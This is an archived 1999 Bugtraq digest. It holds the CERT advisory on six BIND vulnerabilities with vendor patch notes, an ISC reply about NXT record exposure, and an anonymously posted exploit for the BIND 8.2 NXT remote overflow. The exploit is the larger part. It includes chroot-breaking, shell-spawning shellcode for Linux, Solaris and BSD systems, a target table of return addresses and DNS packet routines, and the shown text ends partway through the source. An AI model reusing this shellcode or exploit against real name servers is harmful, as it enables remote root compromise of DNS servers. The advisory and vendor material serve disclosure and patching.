4479340 1999-11-11 21:36 /314 rader/ Postmaster
Mottagare: Bugtraq (import) <8482>
Ärende: CERT Advisory CA-99.14 - Multiple Vulnerabilities in BIND
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Message-ID: <19991111100313.E8197@underground.org>
Date: Thu, 11 Nov 1999 10:03:13 -0800
Reply-To: Aleph One <aleph1@UNDERGROUND.ORG>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Aleph One <aleph1@UNDERGROUND.ORG>
X-To: bugtraq@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
CERT Advisory CA-99-14 Multiple Vulnerabilities in BIND
Original release date: November 10, 1999
Last revised: --
Source: CERT/CC
A complete revision history is at the end of this file.
Systems Affected
* Systems running various versions of BIND
I. Description
Six vulnerabilities have been found in BIND, the popular domain
name server from the Internet Software Consortium (ISC). One of
these vulnerabilities may allow remote intruders to gain
privileged access to name servers.
Vulnerability #1: the "nxt bug"
Some versions of BIND fail to properly validate NXT records. This
improper validation could allow an intruder to overflow a buffer
and execute arbitrary code with the privileges of the name server.
NXT record support was introduced in BIND version 8.2. Prior
versions of BIND, including 4.x, are not vulnerable to this
problem. The ISC-supplied version of BIND corrected this problem
in version 8.2.2.
Vulnerability #2: the "sig bug"
This vulnerability involves a failure to properly validate SIG
records, allowing a remote intruder to crash named; see the impact
section for additional details.
SIG record support is found in multiple versions of BIND, including
4.9.5 through 8.x.
Vulnerability #3: the "so_linger bug"
By intentionally violating the expected protocols for closing a
TCP session, remote intruders can cause named to pause for periods
up to 120 seconds.
Vulnerability #4: the "fdmax bug"
Remote intruders can consume more file descriptors than BIND can
properly manage, causing named to crash.
Vulnerability #5: the "maxdname bug"
Improper handling of certain data copied from the network could
allow a remote intruder to disrupt the normal operation of your
name server, possibly including a crash.
Vulnerability #6: the "naptr bug"
Some versions of BIND fail to validate zone information loaded
from disk files. In environments with unusual combinations of
permissions and protections, this could allow an intruder to crash
named.
Other recent BIND-related vulnerabilities
AusCERT recently published a report describing denial-of-service
attacks against name servers. These attacks are unrelated to the
issues described in this advisory. For information on the
denial-of-service attacks described by AusCERT, please see AusCERT
Alert AL-1999.004 available at:
ftp://ftp.auscert.org.au/pub/auscert/advisory/AL-1999.004.dns_dos
II. Impact
Vulnerability #1
By exploiting this vulnerability, remote intruders can execute
arbitrary code with the privileges of the user running named,
typically root.
Vulnerabilities #2, #4, and #5
By exploiting these vulnerabilities, remote intruders can disrupt
the normal operation of your name server, possibly causing a crash.
Vulnerability #3
By periodically exercising this vulnerability, remote intruders can
disrupt the ability of your name server to respond to legitimate
queries. By intermittently exercising this vulnerability, intruders
can seriously degrade the performance of your name server.
Vulnerability #6
Local intruders who gain write access to your zone files can cause
named to crash.
III. Solution
Apply a patch from your vendor or update to a later version of BIND
Many operating system vendors distribute BIND with their operating
system. Depending on your support procedures, arrangements, and
contracts, you may wish to obtain BIND from your operating system
vendor rather than directly from ISC.
Appendix A contains information provided by vendors for this
advisory. We will update the appendix as we receive more
information. If you do not see your vendor's name, the CERT/CC did
not hear from that vendor. Please contact your vendor directly.
Appendix A. Vendor Information
Vendor Name
Caldera
See ftp://ftp.calderasystems.com/pub/OpenLinux/updates/2.3/current
MD5s
db1dda05dbe0f67c2bd2e5049096b42c RPMS/bind-8.2.2p3-1.i386.rpm
82bbe025ac091831904c71c885071db1 RPMS/bind-doc-8.2.2p3-1.i386.rpm
2f9a30444046af551eafd8e6238a50c6 RPMS/bind-utils-8.2.2p3-1.i386.rpm
0e4f041549bdd798cb505c82a8911198 SRPMS/bind-8.2.2p3-1.src.rpm
Compaq Computer Corporation
At the time of writing this document, Compaq is currently
investigating the potential impact to Compaq's BIND release(s).
As further information becomes available Compaq will provide
notice of the completion/availability of any necessary patches
through AES services (DIA, DSNlink FLASH and posted to the
Services WEB page) and be available from your normal Compaq
Services Support channel.
Data General
We are investigating. We will provide an update when our
investigation is complete.
Hewlett-Packard Company
HP is vulnerable, see the chart in the ISC advisory for details on
your installed version of BIND. Our fix strategy is under
investigation, watch for updates to this CERT advisory in the CERT
archives, or an HP security advisory/bulletin.
IBM Corporation
The bind8 shipped with AIX 4.3.x is vulnerable. We are currently
working on the following APARs which will be available soon:
APAR 4.3.x: IY05851
To Order
APARs may be ordered using Electronic Fix Distribution (via
FixDist) or from the IBM Support Center. For more information on
FixDist, reference URL:
http://aix.software.ibm.com/aix.us/swfixes/
or send e-mail to aixserv@austin.ibm.com with a subject of
"FixDist".
IBM and AIX are registered trademarks of International Business
Machines Corporation.
The Internet Software Consortium
ISC has published an advisory regarding these problems, available
at
http://www.isc.org/products/BIND/bind-security-19991108.html
The ISC advisory also includes a table summarizing which versions
of BIND are susceptible to the vulnerabilities described in this
advisory.
OpenBSD
As far as we know, we don't ship with any of those vulnerabilities.
Santa Cruz Operation, Inc
Security patches for the following SCO products will be made
available at http://www.sco.com/security
OpenServer 5.x.x, UnixWare 7.x.x, UnixWare 2.x.x
Sun Microsystems
Vulnerability #1
Solaris 2.3, 2.4, 2.5, 2.5.1, 2.6, and 7 are not vulnerable.
Vulnerability #2
Solaris 2.3, 2.4, 2.5, 2.5.1, 2.6, and 7 are not vulnerable.
Vulnerability #3
Solaris 2.3, 2.4, 2.5, 2.5.1, and 2.6 are not vulnerable.
Sun will be producing patches for Solaris 7.
Vulnerability #4
Solaris 2.3, 2.4, 2.5, 2.5.1, and 2.6 are not vulnerable.
Solaris 7 is probably not vulnerable. We are still
investigating.
Vulnerability #5
Solaris 2.3, 2.4, 2.5, 2.5.1, and 2.6 are not vulnerable.
Sun will be producing patches for Solaris 7.
Vulnerability #6
Solaris 2.3, 2.4, 2.5, 2.5.1, and 2.6 are not vulnerable.
Sun will be producing patches for Solaris 7.
_________________________________________________________________
The CERT Coordination Center would like to thank David Conrad,
Paul Vixie and Bob Halley of the Internet Software Consortium for
notifying us of these problems and for their help in constructing
the advisory, and Olaf Kirch of Caldera for notifying us of some
of these problems and providing technical assistance and advice.
______________________________________________________________________
This document is available from:
http://www.cert.org/advisories/CA-99-14-bind.html
______________________________________________________________________
CERT/CC Contact Information
Email: cert@cert.org
Phone: +1 412-268-7090 (24-hour hotline)
Fax: +1 412-268-6989
Postal address:
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
U.S.A.
CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) /
EDT(GMT-4) Monday through Friday; they are on call for emergencies
during other hours, on U.S. holidays, and on weekends.
Using encryption
We strongly urge you to encrypt sensitive information sent by
email. Our public PGP key is available from
http://www.cert.org/CERT_PGP.key
If you prefer to use DES, please call the CERT hotline for more
information.
Getting security information
CERT publications and other security information are available from
our web site
http://www.cert.org/
To be added to our mailing list for advisories and bulletins, send
email to cert-advisory-request@cert.org and include SUBSCRIBE
your-email-address in the subject of your message.
Copyright 1999 Carnegie Mellon University.
Conditions for use, disclaimers, and sponsorship information can be
found in
http://www.cert.org/legal_stuff.html
* "CERT" and "CERT Coordination Center" are registered in the U.S.
Patent and Trademark Office.
______________________________________________________________________
NO WARRANTY
Any material furnished by Carnegie Mellon University and the Software
Engineering Institute is furnished on an "as is" basis. Carnegie
Mellon University makes no warranties of any kind, either expressed or
implied as to any matter including, but not limited to, warranty of
fitness for a particular purpose or merchantability, exclusivity or
results obtained from use of the material. Carnegie Mellon University
does not make any warranty of any kind with respect to freedom from
patent, trademark, or copyright infringement.
_________________________________________________________________
Revision History
November 10, 1999: Initial release
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv
iQA/AwUBOCo3W1r9kb5qlZHQEQIY9QCgjh17l5yAtNrLFSSj2EJ3HYUe8hgAoOol
1lRvWBJAlYs63OEqqJ+mCfr2
=bBA/
-----END PGP SIGNATURE-----
(4479340) ------------------------------------------(Ombruten)
4482002 1999-11-12 18:12 /37 rader/ Postmaster
Mottagare: Bugtraq (import) <8485>
Ärende: Brev från "David R. Conrad" <David_Conrad@ISC.ORG>
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
X-Accept-Language: en,ja
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <382B1A1C.10F9E41B@isc.org>
Date: Thu, 11 Nov 1999 11:33:48 -0800
Reply-To: "David R. Conrad" <David_Conrad@ISC.ORG>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: "David R. Conrad" <David_Conrad@ISC.ORG>
Organization: Internet Software Consortium
X-To: Anonymous <nobody@REPLAY.COM>
X-cc: BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
Hi,
The problem is with the reception of NXT records, so it doesn't
matter what you have in your own zone files. Any nameserver running
versions 8.2, 8.2 patchlevel 1, or 8.2.1 can be susceptible to the
attack (albeit there are some pre-conditions that must be met for the
issue to even come up). We, of course, recommend upgrading. In
addition, we recommend running your nameserver as non-root and
chrooted (I know setting this up is non-trivial -- it'll be much,
much easier in BINDv9).
Rgds,
-drc
Anonymous wrote:
> Ooh, those pesky NXT records. Like I process those every day.
> Fascinating read in RFC 2535, but suppose I don't have any NXT
> records in my own zones, under what circumstances will my DNS server
> commit the sin of "the processing of NXT records"? In other words,
> are all of us vulnerable (even caching-only name servers if so, I
> imagine!), or only people with NXT records? This makes a big difference!
(4482002) ------------------------------------------(Ombruten)
4482098 1999-11-12 18:42 /554 rader/ Postmaster
Mottagare: Bugtraq (import) <8487>
Ärende: Re: CERT Advisory CA-99-14 Multiple Vulnerabilities in BIND
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@securityfocus.com
Message-ID: <199911120943.KAA22607@sofuku.monster.org>
Date: Fri, 12 Nov 1999 10:43:21 +0100
Reply-To: Anonymous <nobody@REPLAY.COM>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
Comments: This message did not originate from the Sender address above. I
was remailed automatically by anonymizing remailer software
Please report problems or inappropriate use to the remaile
administrator at <abuse@replay.com>.
From: Anonymous <nobody@REPLAY.COM>
X-To: BUGTRAQ@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM
/*
* ADM CONFIDENTIAL -- (ADM Confidential Restricted when
* combined with the aggregated modules for this product)
* OBJECT CODE ONLY SOURCE MATERIALS
* (C) COPYRIGHT ADM Crew. 1999
* All Rights Reserved
*
* This module may not be used, published, distributed or archived without
* the written permission of the ADM Crew. Please contact your local sales
* representative.
*
* ADM named 8.2/8.2.1 NXT remote overflow - horizon/plaguez
*
* "a misanthropic anthropoid with nothing to say"
*
* thanks to stran9er for sdnsofw.c
*
* Intel exploitation is pretty straightforward.. should give you a remote
* shell. The shellcode will break chroot, do a getpeername on all open
* sockets, and dup to the first one that returns AFINET. It also forks and
* runs a command in case the fd duping doesn't go well. Solaris/SPARC is a
* bit more complicated.. we are going through a well trodden part of the
* code, so we don't get the context switch we need to have it populate the
* register windows from the stack. However, if you just hammer the service
* with requests, you will quickly get a context switch at the right time.
* Thus, the SPARC shellcode currently only breaks chroot, closes current
* fd's and runs a command.
* Also, the NetBSD shellcode doesn't break chroot because they stop the
* dir tricks. Of course, they allow mknods in chrooted environments, so
* if named is running as root, then it still might be expoitable.
* The non-exec stack patch version returns into a malloc'ed buffer, whose
* address can vary quite alot. Thus, it may not be as reliable as the other
* versions..
*
* We broke this just a little in order to raise the bar on using it
* (just slightly).. If you'd like to test it on your own box, put a shell
* in /adm/sh, or /adm/ksh for solaris on the target machine.
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>
char linuxcode[]=
{0xe9,0xac,0x1,0x0,0x0,0x5e,0x89,0x76,0xc,0x8d,0x46,0x8,0x89,0x46,0x10,0x8d,
0x46,0x2e,0x89,0x46,0x14,0x56,0xeb,0x54,0x5e,0x89,0xf3,0xb9,0x0,0x0,0x0,0x0,
0xba,0x0,0x0,0x0,0x0,0xb8,0x5,0x0,0x0,0x0,0xcd,0x80,0x50,0x8d,0x5e,0x2,0xb9,
0xff,0x1,0x0,0x0,0xb8,0x27,0x0,0x0,0x0,0xcd,0x80,0x8d,0x5e,0x2,0xb8,0x3d,0x0,
0x0,0x0,0xcd,0x80,0x5b,0x53,0xb8,0x85,0x0,0x0,0x0,0xcd,0x80,0x5b,0xb8,0x6,
0x0,0x0,0x0,0xcd,0x80,0x8d,0x5e,0xb,0xb8,0xc,0x0,0x0,0x0,0xcd,0x80,0x89,0xf3,
0xb8,0x3d,0x0,0x0,0x0,0xcd,0x80,0xeb,0x2c,0xe8,0xa7,0xff,0xff,0xff,0x2e,0x0,
0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x0,0x5e,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x89,
0xc0,0x85,0xc0,0xf,0x85,0x8e,0x0,0x0,0x0,0x89,0xf3,0x8d,0x4e,0xc,0x8d,0x56,
0x18,0xb8,0xb,0x0,0x0,0x0,0xcd,0x80,0xb8,0x1,0x0,0x0,0x0,0xcd,0x80,0xe8,0x75,
0x0,0x0,0x0,0x10,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x74,0x68,0x69,0x73,0x69,0x73,
0x73,0x6f,0x6d,0x65,0x74,0x65,0x6d,0x70,0x73,0x70,0x61,0x63,0x65,0x66,0x6f,
0x72,0x74,0x68,0x65,0x73,0x6f,0x63,0x6b,0x69,0x6e,0x61,0x64,0x64,0x72,0x69,
0x6e,0x79,0x65,0x61,0x68,0x79,0x65,0x61,0x68,0x69,0x6b,0x6e,0x6f,0x77,0x74,
0x68,0x69,0x73,0x69,0x73,0x6c,0x61,0x6d,0x65,0x62,0x75,0x74,0x61,0x6e,0x79,
0x77,0x61,0x79,0x77,0x68,0x6f,0x63,0x61,0x72,0x65,0x73,0x68,0x6f,0x72,0x69,
0x7a,0x6f,0x6e,0x67,0x6f,0x74,0x69,0x74,0x77,0x6f,0x72,0x6b,0x69,0x6e,0x67,
0x73,0x6f,0x61,0x6c,0x6c,0x69,0x73,0x63,0x6f,0x6f,0x6c,0xeb,0x86,0x5e,0x56,
0x8d,0x46,0x8,0x50,0x8b,0x46,0x4,0x50,0xff,0x46,0x4,0x89,0xe1,0xbb,0x7,0x0,
0x0,0x0,0xb8,0x66,0x0,0x0,0x0,0xcd,0x80,0x83,0xc4,0xc,0x89,0xc0,0x85,0xc0,
0x75,0xda,0x66,0x83,0x7e,0x8,0x2,0x75,0xd3,0x8b,0x56,0x4,0x4a,0x52,0x89,0xd3,
0xb9,0x0,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x52,0x89,0xd3,
0xb9,0x1,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x52,0x89,0xd3,
0xb9,0x2,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0xeb,0x12,0x5e,0x46,
0x46,0x46,0x46,0x46,0xc7,0x46,0x10,0x0,0x0,0x0,0x0,0xe9,0xfe,0xfe,0xff,0xff,
0xe8,0xe9,0xff,0xff,0xff,0xe8,0x4f,0xfe,0xff,0xff,0x2f,0x61,0x64,0x6d,0x2f,
0x73,0x68,0x0,0x2d,0x63,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x70,0x6c,0x61,0x67,0x75,0x65,0x7a,0x5b,
0x41,0x44,0x4d,0x5d,0x31,0x30,0x2f,0x39,0x39,0x2d};
char sc[]=
{0x40,0x0,0x0,0x2e,0x1,0x0,0x0,0x0,0x90,0x3,0xe0,0xd5,0x92,0x10,0x20,0x0,
0x82,0x10,0x20,0x5,0x91,0xd0,0x20,0x0,0xa0,0x10,0x0,0x8,0x90,0x3,0xe0,0xcc,
0x92,0x10,0x21,0xff,0x82,0x10,0x20,0x50,0x91,0xd0,0x20,0x0,0x90,0x3,0xe0,
0xcc,0x82,0x10,0x20,0x3d,0x91,0xd0,0x20,0x0,0x90,0x10,0x0,0x10,0x82,0x10,
0x20,0x78,0x91,0xd0,0x20,0x0,0x90,0x10,0x0,0x10,0x82,0x10,0x20,0x6,0x91,0xd0,
0x20,0x0,0x90,0x3,0xe0,0xd7,0x82,0x10,0x20,0xc,0x91,0xd0,0x20,0x0,0x90,0x3,
0xe0,0xd5,0x82,0x10,0x20,0x3d,0x91,0xd0,0x20,0x0,0xa0,0x10,0x20,0x0,0x90,
0x10,0x0,0x10,0x82,0x10,0x20,0x6,0x91,0xd0,0x20,0x0,0xa0,0x4,0x20,0x1,0x80,
0xa4,0x20,0x1e,0x4,0xbf,0xff,0xfb,0x1,0x0,0x0,0x0,0x90,0x3,0xe0,0xc0,0xa0,
0x3,0xe0,0xc5,0xe0,0x23,0xbf,0xf0,0xa0,0x3,0xe0,0xc9,0xe0,0x23,0xbf,0xf4,
0xa0,0x3,0xe1,0x5,0xe0,0x23,0xbf,0xf8,0xc0,0x23,0xbf,0xfc,0x92,0x3,0xbf,0xf0,
0x94,0x3,0xbf,0xfc,0x82,0x10,0x20,0x3b,0x91,0xd0,0x20,0x0,0x81,0xc3,0xe0,0x8,
0x1,0x0,0x0,0x0,0x2f,0x61,0x64,0x6d,0x2f,0x6b,0x73,0x68,0x0,0x2d,0x63,0x0,
0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x0,0x2e,0x2e,0x2f,0x2e,
0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,
0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x0,0x68,0x6f,0x72,0x69,0x7a,0x6f,
0x6e,0x5b,0x41,0x44,0x4d,0x5d,0x31,0x30,0x2f,0x39,0x39,0x0};
char bsdcode[]=
{0xe9,0xd4,0x1,0x0,0x0,0x5e,0x31,0xc0,0x50,0x50,0xb0,0x17,0xcd,0x80,0x31,0xc0,
0x50,0x50,0x56,0x50,0xb0,0x5,0xcd,0x80,0x89,0x46,0x28,0xb9,0xff,0x1,0x0,0x0,
0x51,0x8d,0x46,0x2,0x50,0x50,0xb8,0x88,0x0,0x0,0x0,0xcd,0x80,0x8d,0x46,0x2,
0x50,0x50,0xb8,0x3d,0x0,0x0,0x0,0xcd,0x80,0x8b,0x46,0x28,0x50,0x50,0xb8,0xa7,
0x0,0x0,0x0,0x34,0xaa,0xcd,0x80,0x8d,0x46,0xb,0x50,0x50,0xb8,0xa6,0x0,0x0,
0x0,0x34,0xaa,0xcd,0x80,0x8d,0x46,0x21,0x48,0x50,0x50,0xb8,0x3d,0x0,0x0,0x0,
0xcd,0x80,0x50,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x85,0xc0,0xf,0x85,0xe6,0x0,
0x0,0x0,0x8d,0x56,0x38,0x89,0x56,0x28,0x8d,0x46,0x40,0x89,0x46,0x2c,0x8d,
0x46,0x43,0x89,0x46,0x30,0x8d,0x46,0x30,0x50,0x8d,0x46,0x28,0x50,0x52,0x50,
0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0x50,0x50,0xb8,0x1,0x0,0x0,0x0,0xcd,0x80,
0xe8,0xbc,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x62,0x6c,0x61,0x68,
0x62,0x6c,0x61,0x68,0x73,0x61,0x6d,0x65,0x74,0x68,0x69,0x6e,0x67,0x79,0x65,
0x74,0x61,0x6e,0x6f,0x74,0x68,0x65,0x72,0x73,0x70,0x61,0x63,0x65,0x66,0x6f,
0x72,0x61,0x73,0x6f,0x63,0x6b,0x61,0x64,0x64,0x72,0x73,0x74,0x72,0x75,0x63,
0x74,0x75,0x72,0x65,0x62,0x75,0x74,0x74,0x68,0x69,0x73,0x74,0x69,0x6d,0x65,
0x66,0x6f,0x72,0x74,0x68,0x65,0x62,0x73,0x64,0x73,0x68,0x65,0x6c,0x6c,0x63,
0x6f,0x64,0x65,0x66,0x6f,0x72,0x74,0x75,0x6e,0x61,0x74,0x6c,0x79,0x74,0x68,
0x69,0x73,0x77,0x69,0x6c,0x6c,0x77,0x6f,0x72,0x6b,0x69,0x68,0x6f,0x70,0x65,
0x6f,0x6b,0x69,0x74,0x68,0x69,0x6e,0x6b,0x65,0x6e,0x6f,0x75,0x67,0x68,0x73,
0x70,0x61,0x63,0x65,0x6e,0x6f,0x77,0x0,0x70,0x6c,0x61,0x67,0x75,0x65,0x7a,
0x5b,0x41,0x44,0x4d,0x5d,0x20,0x42,0x53,0x44,0x20,0x63,0x72,0x61,0x70,0x70,
0x79,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x2d,0x20,0x31,
0x30,0x2f,0x39,0x39,0x31,0xd2,0xe9,0x3f,0xff,0xff,0xff,0x8d,0x46,0x4,0x50,
0x8d,0x46,0x8,0x50,0x52,0x52,0xb8,0x1f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x83,0xf8,
0x0,0x75,0x6,0x80,0x7e,0x9,0x2,0x74,0xc,0x52,0x52,0xb8,0x6,0x0,0x0,0x0,0xcd,
0x80,0x42,0xeb,0xd7,0x6a,0x0,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,
0x1,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,0x2,0x52,0x52,0xb8,0x5a,
0x0,0x0,0x0,0xcd,0x80,0xeb,0x29,0x5e,0x46,0x46,0x46,0x46,0x46,0x8d,0x56,0x38,
0x89,0x56,0x28,0xc7,0x46,0x2c,0x0,0x0,0x0,0x0,0x8d,0x46,0x34,0x50,0x8d,0x46,
0x28,0x50,0x52,0x52,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0xe9,0xc1,0xfe,0xff,0xff,
0xe8,0xd2,0xff,0xff,0xff,0xe8,0x27,0xfe,0xff,0xff,0x2e,0x0,0x41,0x44,0x4d,
0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
0x0,0x2e,0x2f,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0x0,0x0,0x0,0x0,0x2f,0x61,0x64,0x6d,0x2f,0x73,0x68,0x0,0x2d,0x63,0x0,
0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x59,0x4f,0x59,0x4f,
0x59,0x4f,0x0};
char bsdnochroot[]=
{0xe9,0x79,0x1,0x0,0x0,0x5e,0x50,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x85,0xc0,0xf,
0x85,0xe6,0x0,0x0,0x0,0x8d,0x56,0x38,0x89,0x56,0x28,0x8d,0x46,0x40,0x89,0x46,
0x2c,0x8d,0x46,0x43,0x89,0x46,0x30,0x8d,0x46,0x30,0x50,0x8d,0x46,0x28,0x50,
0x52,0x50,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0x50,0x50,0xb8,0x1,0x0,0x0,0x0,
0xcd,0x80,0xe8,0xbc,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0x0,0x0,0x0,0x62,0x6c,
0x61,0x68,0x62,0x6c,0x61,0x68,0x73,0x61,0x6d,0x65,0x74,0x68,0x69,0x6e,0x67,
0x79,0x65,0x74,0x61,0x6e,0x6f,0x74,0x68,0x65,0x72,0x73,0x70,0x61,0x63,0x65,
0x66,0x6f,0x72,0x61,0x73,0x6f,0x63,0x6b,0x61,0x64,0x64,0x72,0x73,0x74,0x72,
0x75,0x63,0x74,0x75,0x72,0x65,0x62,0x75,0x74,0x74,0x68,0x69,0x73,0x74,0x69,
0x6d,0x65,0x66,0x6f,0x72,0x74,0x68,0x65,0x62,0x73,0x64,0x73,0x68,0x65,0x6c,
0x6c,0x63,0x6f,0x64,0x65,0x66,0x6f,0x72,0x74,0x75,0x6e,0x61,0x74,0x6c,0x79,
0x74,0x68,0x69,0x73,0x77,0x69,0x6c,0x6c,0x77,0x6f,0x72,0x6b,0x69,0x68,0x6f,
0x70,0x65,0x6f,0x6b,0x69,0x74,0x68,0x69,0x6e,0x6b,0x65,0x6e,0x6f,0x75,0x67,
0x68,0x73,0x70,0x61,0x63,0x65,0x6e,0x6f,0x77,0x0,0x70,0x6c,0x61,0x67,0x75,
0x65,0x7a,0x5b,0x41,0x44,0x4d,0x5d,0x20,0x42,0x53,0x44,0x20,0x63,0x72,0x61,
0x70,0x70,0x79,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x2d,
0x20,0x31,0x30,0x2f,0x39,0x39,0x31,0xd2,0xe9,0x3f,0xff,0xff,0xff,0x5e,0x8d,
0x46,0x4,0x50,0x8d,0x46,0x8,0x50,0x52,0x52,0xb8,0x1f,0x0,0x0,0x0,0xcd,0x80,
0x5a,0x83,0xf8,0x0,0x75,0x6,0x80,0x7e,0x9,0x2,0x74,0xc,0x52,0x52,0xb8,0x6,
0x0,0x0,0x0,0xcd,0x80,0x42,0xeb,0xd7,0x6a,0x0,0x52,0x52,0xb8,0x5a,0x0,0x0,
0x0,0xcd,0x80,0x6a,0x1,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,0x2,
0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0xeb,0x29,0x5e,0x46,0x46,0x46,0x46,
0x46,0x8d,0x56,0x38,0x89,0x56,0x28,0xc7,0x46,0x2c,0x0,0x0,0x0,0x0,0x8d,0x46,
0x34,0x50,0x8d,0x46,0x28,0x50,0x52,0x52,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0xe9,
0xc0,0xfe,0xff,0xff,0xe8,0xd2,0xff,0xff,0xff,0xe8,0x82,0xfe,0xff,0xff,0x2e,
0x0,0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,
0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,
0x2f,0x2e,0x2e,0x2f,0x0,0x2e,0x2f,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x2f,0x61,0x64,0x6d,0x2f,0x73,0x68,
0x0,0x2d,0x63,0x0,0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,
0x59,0x4f,0x59,0x4f,0x59,0x4f,0x0};
struct arch
{
int id;
char *name;
char *code;
int codesize;
unsigned long safe;
unsigned long ret;
int length;
};
struct arch archlist[] =
{
{1, "Linux Redhat 6.x - named 8.2/8.2.1 (from rpm)", linuxcode,
sizeof(linuxcode), 0, 0xbfffd6c3, 6500},
{2, "Linux SolarDiz's non-exec stack patch - named 8.2/8.2.1",linuxcode,
sizeof(linuxcode), 0, 0x80f79ae, 6500},
{3, "Solaris 7 (0xff) - named 8.2.1", sc, sizeof(sc), 0xffbea738,
0xffbedbd0, 11000},
{4, "Solaris 2.6 - named 8.2.1", sc, sizeof(sc), 0xefffa000,
0xefffe5d0, 11000},
{5, "FreeBSD 3.2-RELEASE - named 8.2", bsdcode, sizeof(bsdcode), 1,
0xbfbfbdb8, 7000},
{6, "OpenBSD 2.5 - named 8.2", bsdcode, sizeof(bsdcode), 1,
0xefbfbb00, 7000},
{7, "NetBSD 1.4.1 - named 8.2.1", bsdnochroot, sizeof(bsdnochroot), 1,
0xefbfbb00, 7000},
{0, 0, 0, 0}
};
int arch=0;
char *command=0;
/* these two dns routines from dspoof/jizz */
/* pull out a compressed query name */
char *dnssprintflabel(char *s, char *buf, char *p)
{
unsigned short i,len;
char *b=NULL;
len=(unsigned short)*(p++);
while (len) {
while (len >= 0xC0) {
if (!b)
b=p+1;
p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
len=(unsigned short)*(p++);
}
for (i=0;i<len;i++)
*(s++)=*(p++);
*(s++)='.';
len=(unsigned short)*(p++);
}
*(s++)=0;
if (b)
return(b);
return(p);
}
/* store a query name */
char *dnsaddlabel(char *p, char *label)
{
char *p1;
while ((*label) && (label)) {
if ((*label == '.') && (!*(label+1)))
break;
p1=strchr(label,'.');
if (!p1)
p1=strchr(label,0);
*(p++)=p1-label;
memcpy(p,label,p1-label);
p+=p1-label;
label=p1;
if (*p1)
label++;
}
*(p++)=0;
return(p);
}
